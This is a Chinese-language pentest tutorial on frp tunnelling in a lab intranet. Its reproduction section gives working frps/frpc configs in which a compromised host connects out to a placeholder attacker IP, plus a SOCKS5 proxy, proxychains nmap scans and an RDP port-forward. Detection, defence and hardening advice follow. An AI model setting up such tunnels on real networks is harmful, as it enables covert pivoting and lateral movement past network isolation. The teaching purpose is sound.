内网渗透:frp 隧道与代理实战

在内网靶场用 frp 建立 Socks5 隧道与端口转发,让攻击机通过已控主机访问内网资源,完整讲解原理、影响、利用、检测、防御与加固。

写在前面:合法学习边界

隧道与代理只在授权内网靶场使用。对非授权网络建立隐蔽通道、转发流量可能触犯法律。

一、原理:为什么需要隧道

攻击者拿到一台内网主机后,通常无法直接访问更深的内网网段。隧道/代理的作用是:

1
2
3
把已控主机变成“跳板”
通过它访问原本到不了的内网服务
支持 Socks5 全局代理和单端口转发

frp 是常用方案:frps 跑在攻击机(公网/可访问端),frpc 跑在内网已控主机,两者建立连接。

二、影响与危害

1
2
3
突破网络隔离,横向移动
访问内网 RDP/数据库/Web 等隐蔽服务
稳定持久的内网通道

风险等级:配合失陷主机,等于把内网“透明化”给攻击者。

三、利用 / 复现

第一步:攻击机启动 frps(服务端)

1
2
3
4
# frps.ini
[common]
bind_port = 7000
token = secret123
1
./frps -c frps.ini

第二步:内网主机启动 frpc(客户端)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# frpc.ini
[common]
server_addr = 攻击机IP
server_port = 7000
token = secret123

[socks5]
type = tcp
remote_port = 1080
plugin = socks5
1
./frpc -c frpc.ini

第三步:本地代理访问内网

1
2
3
# 把 socks5 代理指到攻击机的 1080
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 rdesktop 10.0.0.20

端口转发场景

只想转发某个端口:

1
2
3
4
5
[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 13389

然后 rdesktop 攻击机IP:13389 即访问内网 RDP。

四、检测

1
2
3
4
对外连接出现非常规高频端口(7000 等)
frp 进程特征、配置文件残留
内网主机有到公网的异常长连接
流量特征:frp 使用自定义协议头

五、防御

1
2
3
4
限制内网到公网的出站连接(白名单)
监控异常外联与端口复用
EDR 检测隧道/代理工具进程
内网做东西向隔离,收敛可达面

六、加固(修复)

1
2
3
4
清除已控主机上的 frp 与相关进程/开机自启
排查注册表、计划任务、服务中的持久化
收紧出站防火墙,阻断 frps 常用端口
对失陷主机取证,追查隧道建立时间与数据

七、小结

隧道是内网渗透的“血管”:没有它,很多横向动作做不了;有了它,攻击者能稳定访问内网。防守核心是“出站最小化 + 东西向隔离 + 监控异常外联”。